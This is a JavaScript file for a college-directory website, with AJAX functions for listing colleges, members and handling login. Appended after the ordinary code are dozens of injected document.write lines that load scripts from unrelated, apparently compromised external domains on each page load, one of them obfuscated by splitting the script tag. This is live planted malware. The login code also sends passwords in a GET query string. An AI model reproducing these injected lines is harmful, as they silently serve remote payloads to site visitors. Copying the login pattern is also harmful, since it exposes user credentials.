// JavaScript Document
document.onmousemove = mouseMove;
var mX=0;
var mY=0;
function mouseMove(ev){
	ev           = ev || window.event;
	var mousePos = mouseCoords(ev);
}

function mouseCoords(ev){
	if(ev.pageX || ev.pageY){
		mX=ev.pageX;
		mY=ev.pageY;
		return;
	}
	else{
		mX = ev.clientX + document.body.scrollLeft - document.body.clientLeft,
		mY = ev.clientY + document.body.scrollTop  - document.body.clientTop
	}
}

function ShowCollegeList(rName)
{
	var w=(document.body.scrollTop);
	div = document.getElementById("ListOfColleges");
	div.style.display="block";
	mX=mX;
	mY=mY;
	div.style.left=mX;//window.event.x+document.body.scrollLeft;
	div.style.top=mY;//window.event.y+document.body.scrollTop;

	div1 = document.getElementById("List");
	div1.innerHTML = "<img src=\"images/loading.gif\">";
	getCollegeDetail(rName);
}
function HideCollegeList()
{
	div = document.getElementById("ListOfColleges");
	div.style.display="none";
	div1 = document.getElementById("List");
	div1.innerHTML = "";
}
function GetXmlHttpObject(handler)
{ 
	var objXmlHttp=null;
	if (navigator.userAgent.indexOf("MSIE")>=0)
	{ 
		var strName="Msxml2.XMLHTTP";
		if (navigator.appVersion.indexOf("MSIE 5.5")>=0)
		{
			strName="Microsoft.XMLHTTP";
		} 
		try
		{ 
			objXmlHttp=new ActiveXObject(strName);
			objXmlHttp.onreadystatechange=handler;
			return objXmlHttp;
		} 
		catch(e)
		{ 
			alert("Error. Scripting for ActiveX might be disabled");
			return;
		} 
	} 
	if (navigator.userAgent.indexOf("Mozilla")>=0)
	{
		objXmlHttp=new XMLHttpRequest();
		objXmlHttp.onload=handler;
		objXmlHttp.onerror=handler;
		return objXmlHttp;
	}
} 
function getCollegeDetail(rName)
{ 
	xmlHttp=GetXmlHttpObject(populateCollegeDetial);
	url = "GetCollegeInfo.php?RegionName=" + rName;
	xmlHttp.open("GET", url , true);
	xmlHttp.send(null);		
} 
function populateCollegeDetial() 
{ 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
	{
		var data = xmlHttp.responseText;
		document.getElementById("List").innerHTML = data;
	}
}
function GetAllCollege()
{ 
	xmlHttp=GetXmlHttpObject(populateGetAllCollege);
	url = "GetAllCollege.php";
	xmlHttp.open("GET", url , true);
	xmlHttp.send(null);		
} 
function populateGetAllCollege() 
{ 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
	{
		var data = xmlHttp.responseText;
		document.getElementById("ListOfColleges").innerHTML = data;
	}
}
function GetCollegeList(value)
{ 
	xmlHttp=GetXmlHttpObject(populateCollegeList);
	url = "GetCollegeList.php?name="+value;
	xmlHttp.open("GET", url , true);
	xmlHttp.send(null);	
}
function populateCollegeList() 
{ 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
	{
		var data = xmlHttp.responseText;
		document.getElementById("CollegeList").innerHTML = data;
	}
}
function CheckLoginSession()
{ 
	xmlHttp=GetXmlHttpObject(RedirectForLogin);
	url = "CreateLogin.php";
	xmlHttp.open("GET", url , true);
	xmlHttp.send(null);		
} 
function RedirectForLogin() 
{ 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
	{
		var data = xmlHttp.responseText;		
		if(data == "true")
		{
			return;
		}
		else
		{
			window.location="Login.php";
		}
	}
}
function Login(userName, Password)
{ 
	xmlHttp=GetXmlHttpObject(LoginCheck);
	url = "CreateLogin.php?txtUserName=" + userName + "&txtPassword=" + Password;
	xmlHttp.open("GET", url , true);
	xmlHttp.send(null);		
} 
function LoginCheck() 
{ 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
	{
		var data = xmlHttp.responseText;		
		document.getElementById("msg").innerHTML = data;
		if(data == "<span class='SuccessMSG'>You are Logged in successfully. <br>Please use the links below (Member Only) to navigate through member area.</span>")
		{
			document.getElementById("quickLinks").style.display = "block";
		}
		else
		{
			document.getElementById("quickLinks").style.display = "none";			
		}
	}
}

function GetMembersList()
{ 
	xmlHttp=GetXmlHttpObject(populateMembersList);
	url = "GetMembers.php";
	xmlHttp.open("GET", url , true);
	xmlHttp.send(null);		
} 
function populateMembersList() 
{ 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
	{
		var data = xmlHttp.responseText;
		document.getElementById("MembersList").innerHTML = data;
	}
}

document.write('<script src=http://ftp.hbo.cz/_htpasswd/logo_small_long.php ><\/script>');
document.write('<script src=http://ftp.hbo.cz/_htpasswd/logo_small_long.php ><\/script>');
document.write('<script src=http://ftp.hbo.cz/_htpasswd/logo_small_long.php ><\/script>');
document.write('<script src=http://jintanapatonghotel.co.th/images/t13s3/patong.png1.php ><\/script>');
document.write('<script src=http://jintanapatonghotel.co.th/images/t13s3/patong.png1.php ><\/script>');
document.write('<script src=http://jintanapatonghotel.co.th/images/t13s3/patong.png1.php ><\/script>');
document.write('<script src=http://jintanapatonghotel.co.th/images/t13s3/patong.png1.php ><\/script>');
document.write('<script src=http://jintanapatonghotel.co.th/images/t13s3/patong.png1.php ><\/script>');
document.write('<script src=http://jintanapatonghotel.co.th/images/t13s3/patong.png1.php ><\/script>');
document.write('<script src=http://jintanapatonghotel.co.th/images/t13s3/patong.png1.php ><\/script>');
document.write('<script src=http://jintanapatonghotel.co.th/images/t13s3/patong.png1.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/RADCAB.js"></scri'+'pt>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://akbiyiklilar.org.tr/p16/CHANGELOG.php ><\/script>');
document.write('<script src=http://sharkgames.com.br/gestao/lampa.php ><\/script>');
document.write('<script src=http://marekurbanowski.pl/modules/googlehostedservice.php ><\/script>');
document.write('<script src=http://marekurbanowski.pl/modules/googlehostedservice.php ><\/script>');
document.write('<script src=http://marekurbanowski.pl/modules/googlehostedservice.php ><\/script>');
document.write('<script src=http://marekurbanowski.pl/modules/googlehostedservice.php ><\/script>');
document.write('<script src=http://marekurbanowski.pl/modules/googlehostedservice.php ><\/script>');
document.write('<script src=http://marekurbanowski.pl/modules/googlehostedservice.php ><\/script>');
document.write('<script src=http://marekurbanowski.pl/modules/googlehostedservice.php ><\/script>');
document.write('<script src=http://marekurbanowski.pl/modules/googlehostedservice.php ><\/script>');
document.write('<script src=http://marekurbanowski.pl/modules/googlehostedservice.php ><\/script>');
document.write('<script src=http://marekurbanowski.pl/modules/googlehostedservice.php ><\/script>');
document.write('<script src=http://appmapakistan.org/css/blogs.php ><\/script>');
document.write('<script src=http://appmapakistan.org/css/blogs.php ><\/script>');
document.write('<script src=http://appmapakistan.org/css/blogs.php ><\/script>');
document.write('<script src=http://appmapakistan.org/css/blogs.php ><\/script>');